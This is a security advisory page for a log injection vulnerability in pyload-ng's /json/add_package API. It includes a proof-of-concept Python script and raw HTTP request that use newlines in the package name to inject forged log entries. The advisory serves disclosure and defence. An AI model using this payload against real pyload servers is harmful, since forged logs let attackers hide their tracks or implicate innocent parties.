GHSA-3wwm-hjv7-23r3 Pyload log Injection via API /json/add_package in add_name parameter

Not scored Published

An attacker with package addition permissions can inject arbitrary log entries via newline characters in the package name.

Exploited in the wild
Not known
Login needed
Any signed-in user
Attackable
Over the internet
Victim action needed
Not needed
Fix
None listed

What is GHSA-3wwm-hjv7-23r3?

GHSA-3wwm-hjv7-23r3 is a vulnerability in pyload-ng, published on 30 Jul 2025. Any signed-in user can exploit it over the network, with no action from the victim.

Official description

Summary

A log injection vulnerability was identified in pyload in API /json/add_package. This vulnerability allows user with add packages permission to inject arbitrary messages into the logs gathered by pyload.

Details

pyload will generate a log entry when creating new package using API /json/add_package. This entry will be in the form of Added package 'NAME_OF_PACKAGE' containing 'NUMBER_OF_LINKS' links. However, when supplied with the name of new package containing a newline, this newline is not properly escaped. Newlines are also the delimiter between log entries. This allows the attacker to inject new log entries into the log file.

PoC

Run pyload in the default configuration by running the following command

pyload

We can now sign in as the pyload user who at least have add packages permissions. In my example, I will use the admin account to demonstrate this vulnerability. Now as an admin user, view the logs at http://localhost:8000/logs <img width="1918" height="912" alt="image" src="https://github.com/user-attachments/assets/e6510af6-768b-4ddd-a4f2-3972618e1d37" /> Any attacker who at least have add packages permissions can now make the following request by crafting a python code to inject arbitrary logs.

import requests

session = requests.session()

burp0_url = &#34;http://localhost:8000/json/add_package&#34;
burp0_cookies = {&#34;pyload_session_8000&#34;: &#34;SESSION-ID-HERE&#34;}
burp0_headers = {&#34;sec-ch-ua-platform&#34;: &#34;\&#34;Windows\&#34;&#34;, &#34;Accept-Language&#34;: &#34;en-US,en;q=0.9&#34;, &#34;sec-ch-ua&#34;: &#34;\&#34;Not)A;Brand\&#34;;v=\&#34;8\&#34;, \&#34;Chromium\&#34;;v=\&#34;138\&#34;&#34;, &#34;sec-ch-ua-mobile&#34;: &#34;?0&#34;, &#34;X-Requested-With&#34;: &#34;XMLHttpRequest&#34;, &#34;User-Agent&#34;: &#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36&#34;, &#34;Accept&#34;: &#34;*/*&#34;, &#34;Content-Type&#34;: &#34;multipart/form-data; boundary=----WebKitFormBoundaryqRJM6zIUcE7ttXDf&#34;, &#34;Origin&#34;: &#34;http://localhost:8000&#34;, &#34;Sec-Fetch-Site&#34;: &#34;same-origin&#34;, &#34;Sec-Fetch-Mode&#34;: &#34;cors&#34;, &#34;Sec-Fetch-Dest&#34;: &#34;empty&#34;, &#34;Referer&#34;: &#34;http://localhost:8000/collector&#34;, &#34;Accept-Encoding&#34;: &#34;gzip, deflate, br&#34;, &#34;Connection&#34;: &#34;keep-alive&#34;}
burp0_data = &#34;------WebKitFormBoundaryqRJM6zIUcE7ttXDf\r\nContent-Disposition: form-data; name=\&#34;add_name\&#34;\r\n\r\nFake new package containing 1 links\r\n[2025-07-23 04:32:19]  PWNED               SeaWind  GET PWNED\r\n[2025-07-23 04:32:19]  INFO                pyload Added package Normal package\r\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf\r\nContent-Disposition: form-data; name=\&#34;add_links\&#34;\r\n\r\n123\r\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf\r\nContent-Disposition: form-data; name=\&#34;add_password\&#34;\r\n\r\n123\r\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf\r\nContent-Disposition: form-data; name=\&#34;add_file\&#34;; filename=\&#34;tt\&#34;\r\nContent-Type: application/octet-stream\r\n\r\n\r\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf\r\nContent-Disposition: form-data; name=\&#34;add_dest\&#34;\r\n\r\n0\r\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf--\r\n&#34;
session.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)

The Burpsuite HTTP Request for the above code

POST /json/add_package HTTP/1.1
Host: localhost:8000
Content-Length: 799
sec-ch-ua-platform: &#34;Windows&#34;
Accept-Language: en-US,en;q=0.9
sec-ch-ua: &#34;Not)A;Brand&#34;;v=&#34;8&#34;, &#34;Chromium&#34;;v=&#34;138&#34;
sec-ch-ua-mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqRJM6zIUcE7ttXDf
Origin: http://localhost:8000
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8000/collector
Accept-Encoding: gzip, deflate, br
Cookie: pyload_session_8000=SESSIONS-ID-HERE
Connection: keep-alive

------WebKitFormBoundaryqRJM6zIUcE7ttXDf
Content-Disposition: form-data; name=&#34;add_name&#34;

Fake new package containing 1 links
[2025-07-23 04:32:19]  HACKER               SeaWind  GET PWNED
[2025-07-23 04:32:19]  INFO               pyload Added package Normal package
------WebKitFormBoundaryqRJM6zIUcE7ttXDf
Content-Disposition: form-data; name=&#34;add_links&#34;

123
------WebKitFormBoundaryqRJM6zIUcE7ttXDf
Content-Disposition: form-data; name=&#34;add_password&#34;

123
------WebKitFormBoundaryqRJM6zIUcE7ttXDf
Content-Disposition: form-data; name=&#34;add_file&#34;; filename=&#34;tt&#34;
Content-Type: application/octet-stream

------WebKitFormBoundaryqRJM6zIUcE7ttXDf
Content-Disposition: form-data; name=&#34;add_dest&#34;

0
------WebKitFormBoundaryqRJM6zIUcE7ttXDf--

After executing the following python code and send the request successfully, if we now were to look at the logs again, we see that the entry has successfully been injected. <img width="1920" height="911" alt="image" src="https://github.com/user-attachments/assets/0e77c7ac-e5f6-4227-843a-ef548071bf02" />

Impact

Forged or otherwise, corrupted log files can be used to cover an attacker’s tracks or even to implicate another party in the commission of a malicious act.

Which versions are affected by GHSA-3wwm-hjv7-23r3?

2 open source packages ship an affected version, including pyload-ng.

PackageAffectedFixed in
pyload-ng PyPIAll versions to 0.5.0b3.dev89None
pyload-ng PyPIAll versions to 0.5.0b3.dev89None

How do I fix GHSA-3wwm-hjv7-23r3?

No fix has been published for GHSA-3wwm-hjv7-23r3 yet. Limit exposure of the affected software until one is available.

Is GHSA-3wwm-hjv7-23r3 being exploited?

There is no known exploitation of GHSA-3wwm-hjv7-23r3 in the wild and no public exploit code.

Sources

Is GHSA-3wwm-hjv7-23r3 in your software?

Upload an SBOM and sbomify checks it against every vulnerability here, every day.

Check your SBOMs for free